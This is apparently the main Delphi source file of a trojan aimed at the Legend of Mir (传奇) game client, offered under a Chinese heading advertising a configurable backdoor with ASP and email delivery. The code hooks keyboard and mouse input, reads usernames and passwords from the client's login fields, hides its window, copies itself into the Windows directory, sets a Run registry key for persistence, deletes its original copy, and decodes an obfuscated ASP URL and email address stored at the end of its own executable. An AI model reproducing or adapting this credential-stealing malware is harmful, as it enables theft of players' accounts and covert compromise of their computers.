main.dpr

传奇木马原代码 DELPHI编写 可设置后门 ASP和邮箱发信两种设置

 		Rect.BottomRight.Y:=365;
 		if (n=2) and (ptinrect(Rect,Cpoint)) then begin
  		for i:=1 to s do begin
   			if c[i]=0 then continue;
      	if IsWindowVisible(c[i]) then begin
    			SendMessage(c[i],$000D,sizeof(Str[i]),integer(@Str[i]));
      		if f=0 then begin
            PassWord:= Str[i];
     				PWhand:=c[i];
    			end else UserName:=Str[i];
    			f:=f+1;
   			end;
  		end;
 		end;
    GetPassword;
    //进入选区
 		Rect.TopLeft.X:=308;
 		Rect.TopLeft.Y:=141;
 		Rect.BottomRight.X:=476;
 		Rect.BottomRight.Y:=477;
 		if (n=0) and (s>=2) and (ptinrect(Rect,Cpoint))  then
    begin
      GetPassword;
  		if (UserName<>'') and (PassWord<>'') then
      begin
        Flag:=True;
        QuYu:= LogoID;
        VN:=GetServerName(Cpoint.Y,SubKey);
        ServerNick:='【'+inttostr(Cpoint.X)+','+inttostr(Cpoint.Y)+':'+SubKey+'】'+VN;
  		end;
      Exit;
 		end;
    //退出
 		Rect.TopLeft.X:=489;
 		Rect.TopLeft.Y:=102;
 		Rect.BottomRight.X:=505;
 		Rect.BottomRight.Y:=127;
 		if (n=0) and (s>=2) and (ptinrect(Rect,Cpoint)) then
      begin //and (getfocus=PWhand)
  		  if (UserName<>'') and (PassWord<>'') then
          begin
            SetInfor;
  		    end;
 	  	end;
	end;
End;

procedure LogoKey(Lpa,Wpa:integer);
var p:Longint;
    c:array[1..19] of Longint;
    i,t,n,s,f:integer;
    FocusWnd: HWND;
    Title: array[0..255] of Char;
	function Keyhookresult(lP: integer; wP: integer): boolean;
  begin
  	result:=false;
  	if lP=7181 then //: key := '#13';//result := '[Enter]';
    	result:=true;
  end;
Begin
 	if Keyhookresult(peventMsg(Lpa)^.paramL,peventMsg(Lpa)^.paramH) then begin  //((Lpa and $80000000)=0) and (Wpa=13) // and (n=2) and (getfocus=PWhand)
	if (Flag1=True) and (Flag2=False) then
    begin
      Flag2:=True;
      TThread.Create(@GetZBThread,0);
  	  Exit;
    end;
		t:=0;
		n:=0;
		s:=0;
		f:=0;
		for i:=1 to 19 do c[i]:=0;

		p:=SearMirwindow('TfrmMain');
    if p=0 then Exit;

 		for i:=1 to 19 do begin
  		c[i]:=findwindowex(p,t,pchar('TEdit'),nil);
  		t:=c[i];
  		if t=0 then break else begin
   			s:=s+1;
   			if IsWindowVisible(t) then begin
    			n:=n+1;
    			if n=1 then PWhand:=t;
   			end;
  		end;
 		end;
    if  (n=2) and (getfocus=PWhand) then begin
  		for i:=1 to s do begin
   			if c[i]=0 then continue;
   			if IsWindowVisible(c[i]) then begin
    			SendMessage(c[i],$000D,sizeof(Str[i]),integer(@Str[i]));
    			if f=0 then PassWord:=Str[i]
    			else UserName:=Str[i];
    			f:=f+1;
          //Wfdaklfjasd;
   			end;
  		end;
    end;
    GetPassword;
 	end;
End;

function KeyProc(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var i:integer;
Begin
  //	Result:=0;
  if iCode<0 Then Result:=CallNextHookEx(KeyHook,iCode,wParam,lParam);
	LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
	for i:=1 to 19 do Str[i]:='abcdefghijklmnopqrstuvwxyz1234567890';
  if (PEventMsg(lparam)^.message =$0100) then begin// WM_KEYDOWN     or (PEventMsg(lparam)^.message =$0101) WM_KEYUP
  	LogoKey(lParam, wParam)
  end else if (PEventMsg(lparam)^.message =$0201) then begin //WM_LBUTTONUP $0202
    LogoMouse(peventMsg(lparam)^.message, peventmsg(lparam)^.message);
  end;
End;

procedure SetServerButton(BCount:integer);
const s=141;e=477;h=42;
var c,i:integer;
begin
	setlength(serverbutton,BCount);
  c:=e-s;
  c:=s+(c-h*BCount) div 2;
  for i:=0 to BCount-1 do begin
    serverbutton[i].X :=c+h*i;
		serverbutton[i].Y :=C+h*(i+1);
  end;
end;




procedure Time1pro(theWnd: HWND; msg, idTimer: Cardinal; dwTime: DWORD); stdcall;//(hWnd:Longint;uMsg:UINT;idEvent:UINT;Time:DWORD);
var p,t,i,s,n:integer;
		SubKey:string;
    TLogoID:array [0..255] of char;
    enterok:boolean;
    DateTime: TDateTime;
    DateStr:string;
begin
 	Killer;
  p:=findwindow(pchar('TfrmMain'),pchar('传奇客户端'));
  t:=0;

  enterok:=false;
  if (p<>0) then begin
  	enterok:=true;
	  t:=findwindowex(p,t,pchar('TComboBox'),nil);
  	if t<>0 then begin
  		SendMessage(t,$000D,sizeof(TLogoID),integer(@TLogoID));
	    if TLogoID<>LogoArea then
      begin
  	  	LogoArea:=TLogoID;
        Quyu:=TLogoID;
        //Wfdaklfjasd;
	    end;
  	end;

  end else begin
 		LogoArea:='';
  end;

 	t:=0; s:=0; n:=0;
  p:=SearMirwindow('TfrmMain');//findwindow(pchar('TfrmMain'),pchar('legend of mir2'));

  if (p<>0) and (Flag=True) and (Flag1=False) then begin     //if (p<>0) and (Flag=True) and (Flag1=False) then begin

  end else if (p<>0) and (Flag=True) and (Flag1=True) then begin  //在游戏中
    KeyHook:=SetWindowsHookEx(WH_JOURNALRECORD,Keyproc,HInstance,0);

  end else if (p<>0) and (Flag2=True)
  	 then begin  //在游戏中
			if KeyHook<>0 then
  	    if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;

        //检查更新//

      if (UserName<>'') and (PassWord<>'') and (ZhuangBei<>'') then
        begin
          //在些可以提交用户名都数据。并清空内存数据。
        end;
      Flag:=False;
      Flag1:=False;
	end else begin
 		//p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
	 	for i:=1 to 19 do begin
  		t:=findwindowex(p,t,pchar('TEdit'),nil);
  		if t=0 then break else begin
   			s:=s+1;
	   		if IsWindowVisible(t) then n:=n+1;
  		end;
	 	end;

 		if ((n=2) and (s=2)) or (n=4) or (n=12) then begin

      KeyHook:=SetWindowsHookEx(WH_JOURNALRECORD,Keyproc,HInstance,0);

	 	end else begin;
 			if (p=0) then begin
      	if (Flag=True) and (Flag1=True) then begin //要判断是否有,可能不正常退出
      		if (UserName<>'') and (PassWord<>'') and (QuYu<>'') then
            begin
              UserName:='';
              PassWord:='';
              QuYu:='';
        	  end;
      	end;
      end;

      if (p=0) or (Flag1=True) then begin
      	if KeyHook<>0 then
        	if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;
        //if MouseHook<>0 then
        //	if UnhookwindowsHookEx(MouseHook) then MouseHook:=0;
          SetInfor;
      end;

 		end;
  end;
End;


function WindowProc(hWnd, uMsg,	wParam,	lParam: Integer): Integer; stdcall;
begin
 	case uMsg of
 		$0002:begin
  		if KeyHook<>0 then UnhookwindowsHookEx(KeyHook);
  		//if MouseHook<>0 then UnhookwindowsHookEx(MouseHook);
      CloseDll;
  		//Halt;
 		end;
 	end;
 	windowproc:=defwindowproc(hWnd,uMsg,wParam,lParam);
end;

procedure WinMain;
begin
  Inst:=hInstance;
  with WinClass do begin
    style:=CS_CLASSDC or CS_PARENTDC;
    lpfnWndProc:=@WindowProc;
    hInstance:=Inst;
    hbrBackground:=color_btnface + 1;
    lpszClassname:=ClassName;
    hCursor:=LoadCursor(0, IDC_ARROW);
  end;
  if RegisterClass(WinClass)=0 then Exit;
  Handle:=CreateWindowEx(WS_EX_WINDOWEDGE,
  				ClassName,CaptionName,
          WS_SIZEBOX or WS_CAPTION or WS_SYSMENU,
          0,0,
          8,8,0,0,Inst,nil);
  if Handle <> 0 then begin
   	InitDll;
    Newtime:=settimer(Handle,1,1000,@Time1pro);

    if GetOSVersion=cOsWin2000 then begin
      //	if not WinX then  其实传奇,1.76版不在win2000上运行驶 本程序,在2000上运行必须显示,不然要出错
	   	SetWindowLong(Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
  	 	ShowWindow(Handle,cmdshow);  // SW_SHOW   sw_HIDE
	   	updatewindow(Handle);
     	SetWindowPos(Handle,HWND_BOTTOM,-20,-20,1,1,SWP_SHOWWINDOW);
   	end else
    	ShowWindow(Handle,sw_HIDE);
    try
      AssignFile(SafeFilse, ExeFiles);
    except
    end;
   	while(GetMessage(Msg,Handle, 0, 0)) do begin
    	TranslateMessage(msg);
    	DispatchMessage(msg);
   	end;
    CloseDll;
  end;
End;

function  MyGetUrlAndEmailAddressBySelf:String;
var
hFile:THandle;
iSize:integer;
Str:String;
i:integer;
begin
  Result:='';
  //建立读文件句柄
     hFile := CreateFile(Pchar(GetModuleName(HInstance)),
                      GENERIC_READ,
                      FILE_SHARE_READ,
                      nil,
                      OPEN_EXISTING,
                      0,
                      0);

     if hFile = INVALID_HANDLE_VALUE then Exit;
     FileSeek(hFile,-Sizeof(iSize),2);
     FileRead(hFile,iSize,Sizeof(integer));
     FileSeek(hFile,-(Sizeof(integer)+iSize),2);
     SetLength(Str,iSize);
     FileRead(hFile,Str[1],iSize);
     CloseHandle(hFile);
     Result:='';
     for i:=1 to Length(Str) do Result:=Result+Chr(Ord(Str[i])+28);
    // Result:=Str;
end;
procedure ReadMe;
var
StrRead:string;
iPos:integer;
begin
StrRead:=MyGetUrlAndEmailAddressBySelf;
iPos:=Pos(#13,StrRead);
PAspUrl:=Copy(StrRead,1,Pred(iPos));
Delete(StrRead,1,iPos);
PEmailUrl:=StrRead;
end;
{
procedure ReadMe;
Var Temp:string;
    F:file;
    Each_size:array [1..4] of char;
    Str:array [1..500] of char;
    Symbol:array [1..3] of char;
    Setstr:string;
    len,i:integer;
    S:integer;
begin
try
  Assignfile(F,ParamStr(0));
  FileMode :=0;
  Reset(f,1);

  Seek(F,Filesize(f)-3);
  BlockRead(F,Symbol,3);

  if Symbol='CQ2' then
    begin
      Seek(F,filesize(F)-7);

      BlockRead(F,Each_size,4);
      len:=0;
      for i:=1 to 4 do len:=len+ord(each_size[i]);
      Seek(f,filesize(F)-7-len);

      for i:=1 to 500 do str[i]:=' ';
      blockread(F,Str,len);
      Setstr:=Trim(str);

      PSmtp:= copy(Setstr,1,ord(each_size[1])) ;

      i:=ord(each_size[1])+1;
      Puser:= copy(setstr,i,ord(each_size[2])) ;

      i:=i+ord(each_size[2]);
      PPass:= copy(setstr,i,ord(each_size[3])) ;

      i:=i+ord(each_size[3]);                        
      PGetMail:= copy(setstr,i,ord(each_size[4])) ;
    end;
  Closefile(f);
except
end;
end;
}
var
isSetup:Bool;
SetupPathName:String;
begin

   isSetup:=False;
   HideSelfToBeService;
   SetupPathName:=Windowspath+ExeFiles;
   if (CompareText(paramstr(0),SetupPathName)<>0) then
    begin
       isSetup:=True;
       try
          if FileExists(SetupPathName) then
             begin
                FilesetAttr(SetupPathName,0);
                DeleteFile(SetupPathName);
                if FileExists(SetupPathName) then
                  begin
                    Halt(0);
                    Exit;
                  end;
             end;
             CopyFile(pchar(paramstr(0)),pchar(SetupPathName),False);
       except
       end;
       Reg.AddValue(HKEY_CURRENT_USER,'SoftWare\Microsoft\Windows\CurrentVersion\Run',ExeFiles,pchar(ExeFiles),1);
    end else begin
       isSetup:=False;
    end;

  if isSetup then
    begin
      Winexec(pchar(SetupPathName),SW_Hide);
      DelMe;
      Halt(0);
    end else begin
      if FindWindow(ClassName,'Windows IDE')=0 then
        begin
          SetInfor; //设置信息
          ReadMe;
          WinMain;
        end;
    end;
end.